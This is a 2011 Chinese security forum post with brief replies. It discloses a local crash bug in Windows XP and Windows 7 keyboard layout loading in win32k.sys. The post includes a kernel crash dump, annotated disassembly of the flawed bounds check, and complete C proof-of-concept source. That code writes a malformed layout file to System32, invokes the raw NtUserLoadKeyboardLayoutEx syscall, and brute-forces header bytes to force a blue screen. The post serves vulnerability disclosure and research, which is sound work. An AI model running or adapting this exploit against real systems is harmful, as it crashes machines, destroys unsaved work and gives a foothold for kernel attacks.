首页
社区
课程
招聘
[原创]WIN7 键盘布局鸡肋的本地蓝屏xx
2011-11-20 23:26 6086

[原创]WIN7 键盘布局鸡肋的本地蓝屏xx

2011-11-20 23:26
6086
WIN7 键盘布局鸡肋的本地蓝屏

Xp/win7同样存在这个问题(WIN7 /WIN32K.SYS 6.1.7601.17697)
这年头真不容易,据说一年全世界也就有几个能稳定利用的远程攻击漏洞(os),稳定利用的例如word flash啥的也就十几个(道听途说不知道是不是真的:)
哎太搓了你想想 就一个蓝屏它都要最长时间跑三分钟。。。而且win7的键盘布局文件必须放到system32目录下面才会加载….多么搓 多么鸡肋..伤不起:)
仅供娱乐:)哈哈

挖漏洞跟足球射门一样,你可能射很多次但是一次不进,但是你一次不射门,就会永远不进球!额,遇到乌龙球那就没办法啦呵呵

Crash:
/*
win7
Access violation - code c0000005 (!!! second chance !!!)
win32k!ReadLayoutFile+0x62:
9566d591 8b4834          mov     ecx,dword ptr [eax+34h]
kd> r
eax=ffffffe8 ebx=00000000 ecx=fe978b2e edx=000000e0 esi=fe4e0168 edi=00000000
eip=9566d591 esp=985ad8a0 ebp=985ad8bc iopl=0         nv up ei pl nz ac pe cy
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010217
win32k!ReadLayoutFile+0x62:
9566d591 8b4834          mov     ecx,dword ptr [eax+34h] ds:0023:0000001c=????????

kd> kb
ChildEBP RetAddr  Args to Child              
985acf5c 83d1b083 00000003 bc9827e2 00000065 nt!RtlpBreakWithStatusInstruction
985acfac 83d1bb81 00000003 985ad3b0 00000000 nt!KiBugCheckDebugBreak+0x1c
985ad370 83d1af20 0000008e c0000005 9566d591 nt!KeBugCheck2+0x68b
985ad394 83cf108c 0000008e c0000005 9566d591 nt!KeBugCheckEx+0x1e
985ad7bc 83c7add6 985ad7d8 00000000 985ad82c nt!KiDispatchException+0x1ac
985ad824 83c7ad8a 985ad8bc 9566d591 badb0d00 nt!CommonDispatchException+0x4a
985ad8bc 9566dc6a fe4e0168 80000984 00000160 nt!Kei386EoiHelper+0x192
985ad8dc 95669b7b 80000984 00000160 000001ae win32k!LoadKeyboardLayoutFile+0x70
985ad968 9567c21e 883bf4b0 80000984 08040804 win32k!xxxLoadKeyboardLayoutEx+0x1be
985ad9a4 9566a275 883bf4b0 80000984 08040804 win32k!xxxSafeLoadKeyboardLayoutEx+0x93
985add0c 83c7a1ea 00000038 00000160 000001ae win32k!NtUserLoadKeyboardLayoutEx+0x119
985add0c 777970b4 00000038 00000160 000001ae nt!KiFastCallEntry+0x12a
001ff470 0111c58c 0111c76a 00000038 00000160 ntdll!KiFastSystemCallRet
WARNING: Stack unwind information not available. Following frames may be wrong.
001ff9f8 0111c956 00000000 00000000 7ffd9000 ms10_73+0x2c58c

Details:
WIN7  
.text:BF80D538                 push    eax             ; int
.text:BF80D539                 push    40000h          ; int
.text:BF80D53E                 push    40h             ; int
.text:BF80D540                 push    [ebp+start_buffer] ; FileHandle
.text:BF80D543                 mov     [ebp+plength], ebx
.text:BF80D546                 mov     [ebp+ppbuffer], ebx
.text:BF80D549                 mov     [ebp+var_10], ebx
.text:BF80D54C                 call    _LoadFileContent@20 ; LoadFileContent(x,x,x,x,x)
.text:BF80D551                 test    eax, eax
.text:BF80D553                 jl      loc_BF80D6F1
.text:BF80D559                 mov     ecx, [ebp+ppbuffer]	构造堆地址+3ch处的dword =0xffffffxx 即可绕过检测,导致BSOD
.text:BF80D55C                 mov     eax, [ecx+3Ch]		//需要猜测堆的地址
.text:BF80D55F                 add     eax, ecx
.text:BF80D561                 cmp     eax, ecx
.text:BF80D563                 jb      loc_BF80D6F1
.text:BF80D569                 mov     ecx, [ebp+plength]
.text:BF80D56C                 mov     edx, [ebp+ppbuffer]
.text:BF80D56F                 add     ecx, edx
.text:BF80D571                 lea     edx, [eax+0F8h]
.text:BF80D577                 mov     [ebp+plength], ecx
.text:BF80D57A                 cmp     edx, ecx
.text:BF80D57C                 jnb     loc_BF80D6F1
.text:BF80D582                 mov     ecx, [eax+34h]		----->crash


winxp

.text:BF8821D7                 push    eax             ; ViewSize
.text:BF8821D8                 push    esi             ; SectionOffset
.text:BF8821D9                 push    esi             ; CommitSize
.text:BF8821DA                 push    esi             ; ZeroBits
.text:BF8821DB                 lea     eax, [ebp+BaseAddress]
.text:BF8821DE                 push    eax             ; BaseAddress
.text:BF8821DF                 push    0FFFFFFFFh      ; ProcessHandle
.text:BF8821E1                 push    [ebp+Handle]    ; SectionHandle
.text:BF8821E4                 call    ds:__imp__ZwMapViewOfSection@40 ; ZwMapViewOfSection(x,x,x,x,x,x,x,x,x,x)
.text:BF8821EA                 test    eax, eax
.text:BF8821EC                 jl      loc_BF88238A
.text:BF8821F2                 mov     ecx, [ebp+BaseAddress]
.text:BF8821F5                 mov     eax, [ecx+3Ch]
.text:BF8821F8                 add     eax, ecx
.text:BF8821FA                 movzx   edx, word ptr [eax+6] -----〉crash


Poc
*/

// poc.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"


#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>

#pragma comment(lib,"User32.lib")

#define MAGIC_OFFSET 0x6261
#define WIN7 1
#define InitializeUnicodeStr(p,s) {     \
	(p)->Length= wcslen(s)*2;           \
	(p)->MaximumLength = wcslen(s)*2+2; \
	(p)->Buffer = s;                \
}
#if WIN7

_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(
 IN HANDLE Handle,
 IN DWORD offTablelow,
 IN DWORD offTableHigh,
 IN PUNICODE_STRING puszKeyboardName,
 IN HKL hKL,
 IN PUNICODE_STRING puszKLID,
 IN DWORD dwKLID,
 IN UINT Flags
 )
{
	__asm
	{
		mov     eax,11E3h
			mov edx, 7ffe0300h
			call dword ptr [edx]
		 ret     20h
	}
}
#else
_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(
 IN HANDLE Handle,
 IN DWORD offTable,
 IN PUNICODE_STRING puszKeyboardName,
 IN HKL hKL,
 IN PUNICODE_STRING puszKLID,
 IN DWORD dwKLID,
 IN UINT Flags
 )
{
	__asm
	{
		mov eax, 000011c6h
			mov edx, 7ffe0300h
			call dword ptr [edx]
		retn 1Ch
	}
}
#endif




unsigned char fakeDll2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35\x44\x01"//0x40 00 00 00   base=fdbbca98 fdbbca00 02443500 
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"//
"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xFF\xFF\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash?? 94 10
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";

;
UNICODE_STRING  uStr;
UNICODE_STRING uKerbordname;

VOID boom_loadlayout()
{
			
	KEYBDINPUT      kb={0};
	INPUT           vInput={0};

	HANDLE          hFile;
	DWORD           dwFuckS0ny;

	HKL             hKbd;

	WCHAR           lpPath[MAX_PATH]={0};
	WCHAR           lpLayoutFile[MAX_PATH]={L"C:\\Windows\\System32\\lSp0wns.boom111"};

	LPVOID          lpShellPtr;


	
	
	//strcpy( lpLayoutFile, L"%lSp0wns.boom111", lpPath);
	
	hFile = CreateFileW(lpLayoutFile,
		GENERIC_READ|GENERIC_WRITE,
		FILE_SHARE_READ|FILE_SHARE_WRITE,
		0,
		CREATE_ALWAYS,
		0,0);

	if( hFile == INVALID_HANDLE_VALUE )
	{
		printf(" \n[!!] Error:errorcode:%x\n",GetLastError());
		exit(0);
	}

	WriteFile(  hFile,
		fakeDll2,
		sizeof(fakeDll2)-1,
		&dwFuckS0ny,
		NULL);
	//printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny);
	CloseHandle(hFile);

	hFile = CreateFileW (lpLayoutFile,
		GENERIC_READ,
		FILE_SHARE_READ,
		0,
		OPEN_EXISTING,
		0,0);

	if( hFile == INVALID_HANDLE_VALUE )
	{
		printf(" \n[!!] Error\n");
		exit(0);
	}
	hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
	printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,0x01AE,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101 
	/*HKL NTAPI NtUserLoadKeyboardLayoutEx	(	IN HANDLE 	Handle,
	IN DWORD 	offTable,
	IN PUNICODE_STRING 	puszKeyboardName,
	IN HKL 	hKL,
	IN PUNICODE_STRING 	puszKLID,
	IN DWORD 	dwKLID,
	IN UINT 	Flags	 
	)	*/
	//win7下面这个函数是个参数来其中offTable拆分成个
	//文件一定要放在system32目录下面不然触发不了


	CloseHandle(hFile);
	//printf("\n[+] Done\n");
}
int _tmain(int argc, _TCHAR* argv[])
{

	LoadLibraryA("user32.dll");
	InitializeUnicodeStr(&uStr,L"p3d.dll");//现在必须小于长度
	//fix by instruder
	InitializeUnicodeStr(&uKerbordname,L"A");
	uKerbordname.MaximumLength=0;
	
	for (int j=0;j<=2;j++)
	{
		for (int i1=0;i1<=0xff;i1++)
		{
			for (int i2=0;i2<0xff;i2++)
			{
				printf("%x,%x\n",i1,i2);
				fakeDll2[0x3d]=i1;
				fakeDll2[0x3e]=i2;
				fakeDll2[0x3f]=j;
				boom_loadlayout();

			}
		}
	}
	


	return 0;
}//

[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

收藏
点赞5
打赏
分享
最新回复 (11)
雪    币: 542
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
KiDebug 4 2011-11-20 23:30
2
0
顶!      
雪    币: 338
活跃值: (103)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
kkmylove 2 2011-11-20 23:31
3
0
顶一个
雪    币: 93
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cdutboy 2011-11-20 23:32
4
0
键盘布局文件 ...
雪    币: 233
活跃值: (285)
能力值: ( LV12,RANK:270 )
在线值:
发帖
回帖
粉丝
QEver 5 2011-11-20 23:32
5
0
路过围观~~
雪    币: 19
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
nineB 2 2011-11-20 23:36
6
0
顶!再不抢6楼都没了!
雪    币: 820
活跃值: (380)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
古河 6 2011-11-21 11:00
7
0
路过膜拜~~
雪    币: 4581
活跃值: (942)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
b23526 2011-11-21 11:36
8
0
顶顶更健康
雪    币: 2503
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
淡定是罪 2011-11-21 11:40
9
0
看看 逛逛 溜达溜达!
雪    币: 7852
活跃值: (2306)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
option 2011-11-21 11:46
10
0
高深看不懂呀
雪    币: 227
活跃值: (120)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
hellok 3 2011-11-22 10:55
11
0
坚持就是胜利啊。强力顶起
雪    币: 231
活跃值: (75)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
四波 3 2011-12-8 20:14
12
0
表示完全看不懂什么东西
游客
登录 | 注册 方可回帖
返回